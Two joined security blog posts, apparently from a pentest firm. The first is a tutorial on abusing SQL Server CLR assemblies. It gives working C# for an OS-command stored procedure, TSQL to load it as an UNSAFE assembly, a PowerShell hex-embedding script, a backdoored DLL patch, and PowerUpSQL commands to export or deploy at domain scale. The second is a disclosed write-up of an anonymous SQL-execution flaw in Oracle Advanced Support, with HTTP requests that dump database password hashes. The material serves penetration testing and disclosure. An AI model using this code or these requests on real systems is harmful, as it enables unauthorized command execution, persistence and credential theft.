Back

Attacking SQL Server CLR Assemblies

In this blog, I’ll be expanding on the CLR assembly attacks developed by Lee Christensen and covered in Nathan Kirk’s CLR blog series. I’ll review how to create, import, export, and modify CLR assemblies in SQL Server with the goal of privilege escalation, OS command execution, and persistence.  I’ll also share a few new PowerUpSQL functions that can be used to execute the CLR attacks on a larger scale in Active Directory environments.

Below is an overview of what will be covered.  Feel free to jump ahead:

What is a Custom CLR Assembly in SQL Server?

For the sake of this blog, we’ll define a Common Language Runtime (CLR) assembly as a .NET DLL (or group of DLLs) that can be imported into SQL Server.  Once imported, the DLL methods can be linked to stored procedures and executed via TSQL.  The ability to create and import custom CLR assemblies is a great way for developers to expand the native functionality of SQL Server, but naturally it also creates opportunities for attackers.

How do I Make a Custom CLR DLL for SQL Server?

Below is a C# template for executing OS commands based on Nathan Kirk’s work and a few nice Microsoft articles.  Naturally, you can make whatever modifications you want, but once you’re done save the file to “c:tempcmd_exec.cs”.

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
        
        // Mark the beginning of the result set.
        SqlContext.Pipe.SendResultsStart(record);

        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());

        // Send the row back to the client.
        SqlContext.Pipe.SendResultsRow(record);
        
        // Mark the end of the result set.
        SqlContext.Pipe.SendResultsEnd();
        
        proc.WaitForExit();
        proc.Close();
    }
};

Now the goal is to simply compile “c:tempcmd_exec.cs” to a DLL using the csc.exe compiler. Even if you don’t have Visual Studio installed, the csc.exe compiler ships with the .NET framework by default. So, it should be on your Windows system somewhere. Below is a PowerShell command to help find it.

Get-ChildItem -Recurse "C:WindowsMicrosoft.NET" -Filter "csc.exe" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname

Assuming you found csc.exe, you can compile the “c:tempcmd_exec.cs” file to a DLL with a  command similar to the one below.

C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /target:library c:tempcmd_exec.cs

How Do Import My CLR DLL into SQL Server?

To import your new DLL into SQL Server, your SQL login will need sysadmin privileges, the CREATE ASSEMBLY permission, or the ALTER ASSEMBLY permission. Follow the steps below to register your DLL and link it to a stored procedure so the cmd_exec method can be executed via TSQL.

Log into your SQL Server as a sysadmin and issue the TSQL queries below.

-- Select the msdb database
use msdb

-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO

-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO

-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM 'c:tempcmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;

-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO

Now you should be able to execute OS commands via the “cmd_exec” stored procedure in the “msdb” database as shown in the example below.

When you’re done, you can remove the procedure and assembly with the TSQL below.

DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly

How Do I Convert My CLR DLL into a Hexadecimal String and Import It Without a File?

If you read Nathan Kirk’s original blog series, you already know that you don’t have to reference a physical DLL when importing CLR assemblies into SQL Server. “CREATE ASSEMBLY” will also accept a hexadecimal string representation of a CLR DLL file. Below is a PowerShell script example showing how to convert your “cmd_exec.dll” file into a TSQL command that can be used to create the assembly without a physical file reference.

# Target file
$assemblyFile = "c:tempcmd_exec.dll"

# Build top of TSQL CREATE ASSEMBLY statement
$stringBuilder = New-Object -Type System.Text.StringBuilder 
$stringBuilder.Append("CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x") | Out-Null

# Read bytes from file
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
    $stringBuilder.Append($byte.ToString("X2")) | Out-Null
}

# Build bottom of TSQL CREATE ASSEMBLY statement
$stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null

# Build create procedure command
$stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null

# Create run os command
$stringBuilder.AppendLine("EXEC[dbo].[cmd_exec] 'whoami'") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null

# Create file containing all commands
$stringBuilder.ToString() -join "" | Out-File c:tempcmd_exec.txt

If everything went smoothly, the “c:tempcmd_exec.txt” file should contain the following TSQL commands. In the example, the hexadecimal string has been truncated, but yours should be much longer. 😉

-- Select the MSDB database
USE msdb

-- Enable clr on the server
Sp_Configure ‘clr enabled’, 1
RECONFIGURE
GO

-- Create assembly from ascii hex
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM 
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE 
GO 

-- Create procedures from the assembly method cmd_exec
CREATE PROCEDURE [dbo].[my_assembly] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [cmd_exec].[StoredProcedures].[cmd_exec]; 
GO 

-- Run an OS command as the SQL Server service account
EXEC[dbo].[cmd_exec] 'whoami' 
GO

When you run the TSQL from the “c:tempcmd_exec.txt”  file in SQL Server as a sysadmin the output should look like this:

PowerUpSQL Automation

If you haven’t used PowerUpSQL before you can visit the setup page here.

I made a PowerUpSQL function call “Create-SQLFileCLRDll” to create similar DLLs and TSQL scripts on the fly. It also supports options for setting custom assembly names, class names, method names, and stored procedure names. If none are specified then they are all randomized. Below is a basic command example:

PS C:temp> Create-SQLFileCLRDll -ProcedureName “runcmd” -OutFile runcmd -OutDir c:temp
C# File: c:tempruncmd.csc
CLR DLL: c:tempruncmd.dll
SQL Cmd: c:tempruncmd.txt

Below is a short script for generating 10 sample CLR DLLs / CREATE ASSEMBLY TSQL scripts. It can come in handy when playing around with CLR assemblies in the lab.

1..10| %{ Create-SQLFileCLRDll -Verbose -ProcedureName myfile$_ -OutDir c:temp -OutFile myfile$_ }

How do I List Existing CLR Assemblies and CLR Stored Procedures?

You can use the TSQL query below to verify that your CLR assembly was setup correctly, or start hunting for existing user defined CLR assemblies.

Note: This is a modified version of some code I found here.

USE msdb;
SELECT      SCHEMA_NAME(so.[schema_id]) AS [schema_name], 
            af.file_id,                          
            af.name + '.dll' as [file_name],
            asmbly.clr_name,
            asmbly.assembly_id,           
            asmbly.name AS [assembly_name], 
            am.assembly_class,
            am.assembly_method,
            so.object_id as [sp_object_id],
            so.name AS [sp_name],
            so.[type] as [sp_type],
            asmbly.permission_set_desc,
            asmbly.create_date,
            asmbly.modify_date,
            af.content                                           
FROM        sys.assembly_modules am
INNER JOIN  sys.assemblies asmbly
ON          asmbly.assembly_id = am.assembly_id
INNER JOIN  sys.assembly_files af 
ON         asmbly.assembly_id = af.assembly_id 
INNER JOIN  sys.objects so
ON          so.[object_id] = am.[object_id]

With this query we can see the file name, assembly name, assembly class name, the assembly method, and the stored procedure the method is mapped to.

You should see “my_assembly” in your results. If you ran the 10 TSQL queries generated from “Create-SQLFileCLRDll” command I provided earlier, then you’ll also see the associated assembly information for those assemblies.

PowerUpSQL Automation

I added a function for this in PowerUpSQL called “Get-SQLStoredProcedureCLR” that will iterate through accessible databases and provide the assembly information for each one. Below is a command sample.

Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Out-GridView

You can also execute it against all domain SQL Servers with the command below (provided you have the right privileges).

Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize

Mapping Procedure Parameters

Attackers aren’t the only ones creating unsafe assemblies.  Sometimes developers create assemblies that execute OS commands or interact with operating system resources. As a result, targeting and reversing those assemblies can sometimes lead to privilege escalation bugs. For example, if our assembly already existed, we could try to determine the parameters it accepts and how to use them.  Just for fun, let’s use the query below to blindly determine what parameters the “cmd_exec” stored procedure takes.

SELECT            pr.name as procname,
                        pa.name as param_name, 
                        TYPE_NAME(system_type_id) as Type,
                        pa.max_length, 
                        pa.has_default_value,
                        pa.is_nullable 
FROM             sys.all_parameters pa
INNER JOIN         sys.procedures pr on pa.object_id = pr.object_id
WHERE             pr.type like 'pc' and pr.name like 'cmd_exec'

In this example, we can see that  it only accepts one string parameter named “execCommand”. An attacker targeting the stored procedure may be able to determine that it can be used for OS command execution.

How Do I Export a CLR Assembly that Exists in SQL Server to a DLL?

Simply testing the functionality of existing CLR assembly procedures isn’t our only option for finding escalation paths. In SQL Server we can also export user defined CLR assemblies back to DLLs. 😊 Let’s talk about going from CLR identification to CLR source code! To start we’ll have to identify the assemblies, export them back to DLLs, and decompile them so they can be analyzed for issues (or modified to inject backdoors).

PowerUpSQL Automation

In the last section, we talked about how to list out CLR assembly with the PowerUpSQL command below.

Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize

The same function supports a “ExportFolder” option. If you set it, the function will export the assemblies DLLs to that folder. Below is an example command and sample output.

Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -ExportFolder c:temp  -Username sa -Password 'sapassword!' | Format-Table -AutoSize

Once again, you can also export CLR DLLs on scale if you are a domain user and a sysadmin using the command below:

Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' -ExportFolder c:temp | Format-Table -AutoSize

DLLs can be found in the output folder. The script will dynamically build a folder structure based on each server name, instance, and database name.

Now you can view the source with your favorite decompiler. Over the last year I’ve become a big fan of dnSpy.  After reading the next section you’ll know why.

How do I Modify a CLR DLL and Overwrite an Assembly Already Imported into SQL Server?

Below is a brief overview showing how to decompile, view, edit, save, and reimport an existing SQL Server CLR DLL with dnSpy. You can download dnSpy from here.

For this exercise, we are going to modify the cmd_exec.dll exported from SQL Server earlier.

  1. Open the cmd_exec.dll file in dnSpy. In the left panel, drill down until you find the “cmd_exec” method and select it. This will immediately allow you to review the source code and start hunting for bugs.

  2. Next, right-click the right panel containing the source code and choose “Edit Method (C#)…”.

  3. Edit the code how you wish. However, in this example I added a simple “backdoor” that adds a file to the “c:temp” directory every time the “cmd_exec” method is called. Example code and a screen shot are below.
    [SqlProcedure]
    public static void cmd_exec(SqlString execCommand)
    {
        Process expr_05 = new Process();
        expr_05.StartInfo.FileName = "C:WindowsSystem32cmd.exe";
        expr_05.StartInfo.Arguments = string.Format(" /C {0}", execCommand.Value);
        expr_05.StartInfo.UseShellExecute = true;
        expr_05.Start();
        expr_05.WaitForExit();
        expr_05.Close();
        Process expr_54 = new Process();
        expr_54.StartInfo.FileName = "C:WindowsSystem32cmd.exe";
        expr_54.StartInfo.Arguments = string.Format(" /C 'whoami > c:tempclr_backdoor.txt", execCommand.Value);
        expr_54.StartInfo.UseShellExecute = true;
        expr_54.Start();
        expr_54.WaitForExit();
        expr_54.Close();
    }

  4. Save the patched code by clicking the compile button. Then from the top menu choose File, Save Module….  Then click ok.

According to this Microsoft article, every time a CLR is compiled, a unique GUID is generated and embedded in the file header so that it’s possible to “distinguish between two versions of the same file”.  This is referred to as the MVID (module version ID). To overwrite the existing CLR already imported into SQL Server, we’ll have to change the MVID manually. Below is an overview.

  1. Open “cmd_exec” in dnspy, if it’s not already open. Then drill down into the PE sections and select the “#GUID” storage stream. Then, right-click on it and choose “Show Data in Hex Editor”.

  2. Next, all you have to do is modify one of the selected bytes with an arbitrary value.

  3. Select File from the top menu and choose “Save Module…”.

PowerShell Automation

You can use the raw PowerShell command I provided earlier or you can use the PowerUPSQL command example below to obtain the hexadecimal bytes from the newly modified “cmd_exec.dll” file and generate the ALTER statement.

PS C:temp> Create-SQLFileCLRDll -Verbose -SourceDllPath .cmd_exec.dll
VERBOSE: Target C#  File: NA
VERBOSE: Target DLL File: .cmd_exec.dll
VERBOSE: Grabbing bytes from the dll
VERBOSE: Writing SQL to: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txt
C# File: NA
CLR DLL: .cmd_exec.dll
SQL Cmd: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txt

The new cmd_exec.txt should look some things like the statement below.

-- Choose the msdb database
use msdb
-- Alter the existing CLR assembly
ALTER ASSEMBLY [my_assembly] FROM 
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE 
GO

The ALTER statement is used to replace the existing CLR instead of DROP and CREATE. As Microsoft puts it, “ALTER ASSEMBLY does not disrupt currently running sessions that are running code in the assembly being modified. Current sessions complete execution by using the unaltered bits of the assembly.” So, in summary, nothing goes boom.  The TSQL query execution should look something like the screenshot below.

To check if your code modification worked, run the “cmd_exec” stored procedure and verify that the “c:tempbackdoor.txt” file was created.

Can I Escalate Privileges in SQL Server using a Custom CLR?

The short answer is yes, but there are some unlikely conditions that must be met first.

If your SQL Server login is not a sysadmin, but has the CREATE or ALTER ASSEMBLY permission, you may be able to obtain sysadmin privileges using a custom CLR that executes OS commands under the context of the SQL Server service account (which is a sysadmin by default). However, for that to be successful, the database you create the CLR assembly in, must have the ‘is_trustworthy’ flag set to ‘1’ and the ‘clr enabled’ server setting turned on. By default, only the msdb database is trustworthy, and the ‘clr enabled’ setting is disabled. 😛

I’ve never seen the CREATE or ALTER ASSEMBLY permissions assigned explicitly to a SQL login. However, I have seen application SQL logins added to the ‘db_ddladmin’ database role and that does have the ‘ALTER ASSEMBLY’ permission.

Note: SQL Server 2017 introduced the ‘clr strict security’ configuration. Microsoft documentation states that the setting needs to be disabled to allow the creation of UNSAFE or EXTERNAL assemblies.

Wrap Up

In this blog, I showed a few ways CLR assemblies can be abused and how some of the tasks such as exporting CLR assemblies can be done on scale using PowerUpSQL. It’s worth noting that all of the techniques shown can be logged and tied to alerts using native SQL Server functionality, but I’ll have to cover that another day. In the meantime, have fun and hack responsibly!

PS: Don’t forget that all of the attacks shown can also be executed via SQL Injection with a little manual effort / automation.

References

Back

Anonymous SQL Execution in Oracle Advanced Support

A little over a year ago I was performing a penetration test on a client’s external environment. One crucial step in any external penetration test is mapping out accessible web servers. The combination of nmap with EyeWitness make this step rather quick as we can perform port scanning for web servers and then feed those results into EyeWitness to get screenshots. After combing through pages of screenshots that EyeWitness produced, I came across a screenshot for an Oracle Advanced Support server.

Img Eac C

Now, I have never heard of Oracle Advanced Support, but after some quick Googling it appeared to be a server that allows Oracle support to login externally and perform whatever support was needed on Oracle systems in an environment.

With that in mind, let us put on our web app pentesting hat and walk through this together.

Let’s start with some simple recon on the application. This includes:

  • Searching for reported vulnerabilities
  • Spidering the application using Burp
  • Enumerating common directories
  • Looking at the source of available pages

Luckily for us, looking at the source of the main page included a link to the assets directory which included directory listings.

Img F Afa

Directory listings are great for an unknown application like this. It gives us some hope that we may be able to find something interesting that we shouldn’t have access too. Sure enough, searching through each of the directories we stumble upon the following JavaScript file:

Img C C

Let’s make that a little easier to read.

define(["jquery", "chart-util"], function(t, e) {
    var s = function() {
        var e = this;
        e.getSqlData = function(e, s) {
            var r = "rest/data/sql/" + e,
                a = t.getJSON(r);
            return s && a.success(s), a
        }, e.createNamedSql = function(e, s) {
            var r = t.post("rest/data/sql/", e);
            return s && r.success(s), r
        }, e.getNamedSqlList = function(e) {
            var s = t.getJSON("rest/data/sql_list");
            return e && s.success(e), s
        }, e.getSqlNameList = function(e) {
            var s = t.getJSON("rest/data/sql_name_list");
            return e && s.success(e), s
        }
    };
    return new s
});

One of my favorite and often overlooked things to do during a web application penetration testing is looking at the JavaScript files included in an application and seeing if there are any POST or GET requests that the application may or many not be using.

So here we have a JavaScript file called sql-service.js. This immediately starts raising alarms in my head. From the file we have four anonymous functions performing three GET requests and one POST request via the t.getJSON and t.post methods. The functions are assigned to the following variables:

  • getSqlData
  • createNamedSql
  • getNamedSqlList
  • getSqlNameList

For the rest of the blog, I’ll be referring to the anonymous functions as the variables they’re assigned to.

Each of the endpoints for each of the functions reside under /rest/data/

To break it down in terms of requests, we have the following:

  • GET /rest/data/sql
  • POST /rest/data/sql
  • GET /rest/data/sql_list
  • GET /rest/data/sql_name_list

With this information, let’s fire up my favorite proxy tool, Burp, and see what happens!

Down the Rabbit Hole

Let’s try the first GET request to /rest/data/sql from the getSqlData function. We can also see from the JavaScript that there needs to be a parameter appended on. Let’s just add ‘test’ to the end.

HTTP Request:

GET /rest/data/sql/test HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json
Content-Length: 0

HTTP Response:

HTTP/1.1 404 Not Found
Content-Type: application/json
Content-Length: 20
Connection: close

Named SQL not found.

The response from the server gives us a 404 for the ‘test’ we appended to the end of the URL. The server also gives us a message: Named SQL not found. If we try other strings other than ‘test’ we get the same message. We could quickly bring up Burp Intruder and attempt to try enumerating potential parameter names with a dictionary list against this request to see if we can get any non 404 responses, but there’s a much easier way of discovering what we should be using as parameter names. If we look at the JavaScript again, you’ll notice that the names of the functions give us valuable information. We see two GET requests for the following functions: getNamedSqlList and getSqlNameList. The error message from our request above gave us a Named SQL not found error. Let’s try the GET request in the function for getNamedSqlList.

HTTP Request:

GET /rest/data/sql_list HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json
Content-Length: 0

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close
Content-Length: 243633

[{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]},{"id":2,"name":"cpu_only","sql":"SELECT TIME,CPU_UTILIZATION FROM TIME_REPORT","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[]},{"id":3,"name":"simple_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE < ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":1,"name":"cpu_usage","type":"int","value":null}]},{"id":4,"name":"double_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE between ? and ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":2,"name":"cpu_low","type":"int","value":null},{"id":3,"name":"cpu_high","type":"int","value":null}]},{"id":5,"name":"by_time","sql":"select time, cpu_usage from CPU_MONITOR where time(time) > ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":4,"name":"time","type":"string","value":null}]},{"id":10,"name":"tableTransferMethod","sql":"SELECT result_text, result_value FROM&nbsp;&nbsp; MIG_RPT_TABLE_TRANSFER_METHOD WHERE&nbsp; scenario_id = :scenario_id AND&nbsp; package_run_id = :pkg_run_id AND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":5,"name":"scenario_id","type":"int","value":null},{"id":6,"name":"pkg_run_id","type":"string","value":null},{"id":7,"name":"engagement_id","type":"int","value":null}]},{"id":16,"name":"dataTransferVolumes","sql":"select RESULT_TEXT,n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RESULT_VALUEnfrom&nbsp; MIG_RPT_DATA_TRANSFER_VOLUMEnwhere scenario_id = :scenario_idnAND&nbsp;&nbsp; package_run_id = :pkg_run_idnAND&nbsp;&nbsp; engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":8,"name":"scenario_id","type":"int","value":null},{"id":9,"name":"pkg_run_id","type":"string","value":null},{"id":10,"name":"engagement_id","type":"int","value":null}]},{"id":17,"name":"dataCompressionPercentage","sql":"SELECT RESULT_TEXT,n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RESULT_VALUEnFROM&nbsp;&nbsp; MIG_RPT_DATA_COMPRESSION_PCTnWHERE&nbsp; scenario_id = :scenario_idnAND&nbsp;&nbsp;&nbsp; package_run_id = :pkg_run_idnAND engagement_id =

...

Well that certainly gave us quite a bit of information. Let’s try to dissect this a bit. We have a JSON response that contains an array with a bunch of JSON objects. Let’s look at the first object in that array.

{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]}

Here we have the following properties: name, sql, dataSourceJNDI, privileges, and paramList. The sql property being the most interesting as it contains a SQL query as the string value.

Let’s take the value for name and put it into the GET request we tried earlier.

HTTP Request:

GET /rest/data/sql/sample HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0

HTTP Response:

HTTP/1.1 400 Bad Request
Content-Type: application/json
Content-Length: 44
Connection: close

Bad Request.Param value not defined for time

Hey! We got something back! But we’re missing a parameter. Let’s add that in.

HTTP Request:

GET /rest/data/sql/sample?time=1 HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 2
Connection: close

[]

Well, we didn’t get anything back from the server, but we didn’t get an error though! Perhaps the SQL query for sample is being executed, but nothing is coming back? We could keep trying other names from the request that we performed earlier, but let’s look at the original JavaScript we have one last time.

We can see that there is a function called createNamedSQL that performs a POST request. We know from the response to the getNamedSqlList request that named sql objects contain a sql property with a SQL query as the value. Maybe this POST request will allow us to execute SQL queries on the server? Let’s find out.

SQL Execution

Here’s the createNamedSQL POST request with an empty JSON object in the body:

HTTP Request:

POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json
Content-Length: 0

{}

HTTP Response:

HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Content-Length: 71
Connection: close

A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q]

We get an error about the column SQL_NAME. This isn’t very surprising as the body contains an empty JSON object. Let’s just add in a random property name and value.

HTTP Request:

POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Length: 16
Content-Type: application/json;charset=UTF-8

{"test":1}

HTTP Response:

HTTP/1.1 400 Bad Request
Content-Type: text/plain
Content-Length: 365
Connection: close

Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"])
&nbsp;at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"])

We get a bad request response about the field “test” being unrecognized, again, not surprising. But if you notice, the error message gives us properties we can use. Thanks Mr. Oracle server! These properties also happen to be the same ones that we were getting from the getNamedSqlList request. Let’s try them out. For the dataSourceJNDI property I used one of the values from the response in the getNamedSqlList request.

HTTP Request:

POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Length: 101
Content-Type: application/json;charset=UTF-8

{
    "name": "test",
    "sql":"select @@version",
    "dataSourceJNDI":"jdbc/portal"
}

That’s looks to be a pretty good test request. Let’s see if it works.

HTTP Response:

HTTP/1.1 500 Internal Server Error
Content-Type: text/plain
Content-Length: 200
Connection: close

A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI]

Well we still got an error from the server. But, that’s just for the content-type of the response. The named sql may have still been created. With the name field set to test, let’s try the first GET request with that as the parameter.

HTTP Request:

GET /rest/data/sql/test HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 24
Connection: close

[{"@@version":"5.5.37"}]

Well looky here! We got ourselves some SQL execution.

Let’s see who we are.

HTTP Request:

POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept: */*
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Length: 101
Content-Type: application/json;charset=UTF-8

{
    "name": "test2",
    "sql":"SELECT USER from dual;",
    "dataSourceJNDI":"jdbc/portal"
}

HTTP Request:

GET /rest/data/sql/test2 HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 19
Connection: close

[{"USER":"SYSMAN"}]

Looks like we’re the SYSMAN user. Which per the Oracle docs (https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm) is used for administration.

Let’s see if we can grab some user hashes

HTTP Request:

POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept: */*
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Length: 120
Content-Type: application/json;charset=UTF-8

{
    "name": "test3",
    "sql":"SELECT name, password FROM sys.user$",
    "dataSourceJNDI":"jdbc/portal"
}

HTTP Request:

GET /rest/data/sql/test3 HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 5357
Connection: close

[{"NAME":"SYS","PASSWORD":"[REDACTED]"},{"NAME":"PUBLIC","PASSWORD":null},{"NAME":"CONNECT","PASSWORD":null},{"NAME":"RESOURCE","PASSWORD":null},{"NAME":"DBA","PASSWORD":null},{"NAME":"SYSTEM","PASSWORD":"[REDACTED]"},{"NAME":"SELECT_CATALOG_ROLE","PASSWORD":null},{"NAME":"EXECUTE_CATALOG_ROLE","PASSWORD":null}
...

And we’re able to get the password hashes for users in the database. I redacted and removed the majority of them. With this information and the because we’re a user with administration privileges, there are quite a few escalation paths. However, for the purposes of this blog, I’ll stop here.

Conclusion

I contacted Oracle about the anonymous SQL execution here and they were quick in responding and fixing the issue. The real question to me is why are there web services that allow for SQL queries to be executed in the first place?

The biggest take away from this blog is always look at the JavaScript files in an application. I have found functionality hidden within JavaScript files that has resulted in SQL injection, command injection, and XML external entity injection on several web application and external network penetration tests.

As an exercise for any of the journeyman pentesters out there, walk through this blog and count how many vulnerabilities you can identify. Hint: there’s more than three.

References

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.

X